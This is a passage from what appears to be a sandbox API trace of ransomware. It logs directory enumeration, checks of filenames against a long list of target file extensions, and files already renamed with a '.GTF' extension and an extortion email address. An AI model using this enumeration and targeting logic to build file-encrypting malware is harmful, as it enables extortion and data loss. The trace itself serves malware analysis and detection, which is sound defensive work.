	[0152.822] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0152.822] lstrlenW (lpString=".ppt") returned 4
	[0152.822] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".pptm") returned 5
	[0152.822] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0152.822] lstrlenW (lpString=".pptx") returned 5
	[0152.822] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0152.822] lstrlenW (lpString=".prn") returned 4
	[0152.822] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".ps") returned 3
	[0152.822] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0152.822] lstrlenW (lpString=".psb") returned 4
	[0152.822] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".psd") returned 4
	[0152.822] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".pst") returned 4
	[0152.822] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0152.822] lstrlenW (lpString=".ptx") returned 4
	[0152.822] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0152.823] lstrlenW (lpString=".pub") returned 4
	[0152.823] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0152.823] lstrlenW (lpString=".pwm") returned 4
	[0152.823] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0152.823] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4afffb, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4afffb, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="OOBE_2~1.GTF")) returned 1
	[0152.823] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4d601c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4d601c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c4d601c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARTNE~1.GTF")) returned 1
	[0152.823] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4d601c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4d601c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c4d601c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARTNE~1.GTF")) returned 0
	[0152.823] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.824] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0152.824] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.824] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.825] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.825] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca7f9fc, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ca7f9fc, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9cb182fb, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="GetCurrentOOBE.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="GETCUR~2.GTF")) returned 1
	[0152.825] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b720eb8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b720eb8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b746982, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="GetCurrentRollback.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="GETCUR~1.GTF")) returned 1
	[0152.825] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd19b9e, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dd19b9e, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2a9554, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="PartnerSetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARTNE~1.GTF")) returned 1
	[0152.825] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dccd698, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dccd698, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dcf3919, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="preoobe.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PREOOB~1.GTF")) returned 1
	[0152.825] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dca74eb, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dca74eb, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2c3650, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="SetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPC~1.GTF")) returned 1
	[0152.825] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dca74eb, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dca74eb, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e2c3650, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe66f, dwReserved1=0x37b, cFileName="SetupComplete.cmd.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPC~1.GTF")) returned 0
	[0152.825] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.826] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.826] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0152.826] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.826] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0152.827] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0152.827] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0152.828] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.828] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="..", cAlternateFileName="")) returned 1
	[0152.828] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9b82bbc6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b82bbc6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0152.828] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.828] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x178, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="￿hǿ", cAlternateFileName="踈`\x08")) returned 0xffffffff
	[0152.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.828] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0152.828] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.829] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.829] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.829] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xca52597d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0152.829] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9b76cbf0, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 1
	[0152.829] lstrlenW (lpString="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 53
	[0152.829] lstrlenW (lpString=".1cd") returned 4
	[0152.829] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0152.829] lstrlenW (lpString=".3ds") returned 4
	[0152.829] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0152.829] lstrlenW (lpString=".3fr") returned 4
	[0152.829] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0152.829] lstrlenW (lpString=".3g2") returned 4
	[0152.829] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0152.829] lstrlenW (lpString=".3gp") returned 4
	[0152.829] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0152.829] lstrlenW (lpString=".7z") returned 3
	[0152.829] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0152.829] lstrlenW (lpString=".accda") returned 6
	[0152.829] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0152.829] lstrlenW (lpString=".accdb") returned 6
	[0152.829] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0152.829] lstrlenW (lpString=".accdc") returned 6
	[0152.829] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0152.829] lstrlenW (lpString=".accde") returned 6
	[0152.829] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0152.830] lstrlenW (lpString=".accdt") returned 6
	[0152.830] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0152.830] lstrlenW (lpString=".accdw") returned 6
	[0152.830] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0152.830] lstrlenW (lpString=".adb") returned 4
	[0152.830] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".adp") returned 4
	[0152.830] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".ai") returned 3
	[0152.830] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0152.830] lstrlenW (lpString=".ai3") returned 4
	[0152.830] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".ai4") returned 4
	[0152.830] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".ai5") returned 4
	[0152.830] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".ai6") returned 4
	[0152.830] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".ai7") returned 4
	[0152.830] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".ai8") returned 4
	[0152.830] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".anim") returned 5
	[0152.830] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0152.830] lstrlenW (lpString=".arw") returned 4
	[0152.830] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".as") returned 3
	[0152.830] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0152.830] lstrlenW (lpString=".asa") returned 4
	[0152.830] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".asc") returned 4
	[0152.830] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".ascx") returned 5
	[0152.830] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0152.830] lstrlenW (lpString=".asm") returned 4
	[0152.830] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0152.830] lstrlenW (lpString=".asmx") returned 5
	[0152.830] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0152.830] lstrlenW (lpString=".asp") returned 4
	[0152.831] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".aspx") returned 5
	[0152.831] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0152.831] lstrlenW (lpString=".asr") returned 4
	[0152.831] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".asx") returned 4
	[0152.831] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".avi") returned 4
	[0152.831] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".avs") returned 4
	[0152.831] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".backup") returned 7
	[0152.831] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0152.831] lstrlenW (lpString=".bak") returned 4
	[0152.831] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".bay") returned 4
	[0152.831] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".bd") returned 3
	[0152.831] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0152.831] lstrlenW (lpString=".bin") returned 4
	[0152.831] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".bmp") returned 4
	[0152.831] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".bz2") returned 4
	[0152.831] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".c") returned 2
	[0152.831] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0152.831] lstrlenW (lpString=".cdr") returned 4
	[0152.831] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".cer") returned 4
	[0152.831] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".cf") returned 3
	[0152.831] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0152.831] lstrlenW (lpString=".cfc") returned 4
	[0152.831] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".cfm") returned 4
	[0152.831] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0152.831] lstrlenW (lpString=".cfml") returned 5
	[0152.831] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0152.832] lstrlenW (lpString=".cfu") returned 4
	[0152.832] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".chm") returned 4
	[0152.832] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".cin") returned 4
	[0152.832] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".class") returned 6
	[0152.832] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0152.832] lstrlenW (lpString=".clx") returned 4
	[0152.832] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".config") returned 7
	[0152.832] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0152.832] lstrlenW (lpString=".cpp") returned 4
	[0152.832] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".cr2") returned 4
	[0152.832] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".crt") returned 4
	[0152.832] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".crw") returned 4
	[0152.832] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".cs") returned 3
	[0152.832] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0152.832] lstrlenW (lpString=".css") returned 4
	[0152.832] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".csv") returned 4
	[0152.832] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".cub") returned 4
	[0152.832] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".dae") returned 4
	[0152.832] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".dat") returned 4
	[0152.832] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0152.832] lstrlenW (lpString=".db") returned 3
	[0152.832] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0152.833] lstrlenW (lpString=".dbf") returned 4
	[0152.833] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".dbx") returned 4
	[0152.833] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".dc3") returned 4
	[0152.833] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".dcm") returned 4
	[0152.833] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".dcr") returned 4
	[0152.833] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".der") returned 4
	[0152.833] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".dib") returned 4
	[0152.833] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".dic") returned 4
	[0152.833] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".dif") returned 4
	[0152.833] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".divx") returned 5
	[0152.833] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0152.833] lstrlenW (lpString=".djvu") returned 5
	[0152.833] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0152.833] lstrlenW (lpString=".dng") returned 4
	[0152.833] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".doc") returned 4
	[0152.833] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".docm") returned 5
	[0152.833] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0152.833] lstrlenW (lpString=".docx") returned 5
	[0152.833] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0152.833] lstrlenW (lpString=".dot") returned 4
	[0152.833] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0152.833] lstrlenW (lpString=".dotm") returned 5
	[0152.833] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0152.833] lstrlenW (lpString=".dotx") returned 5
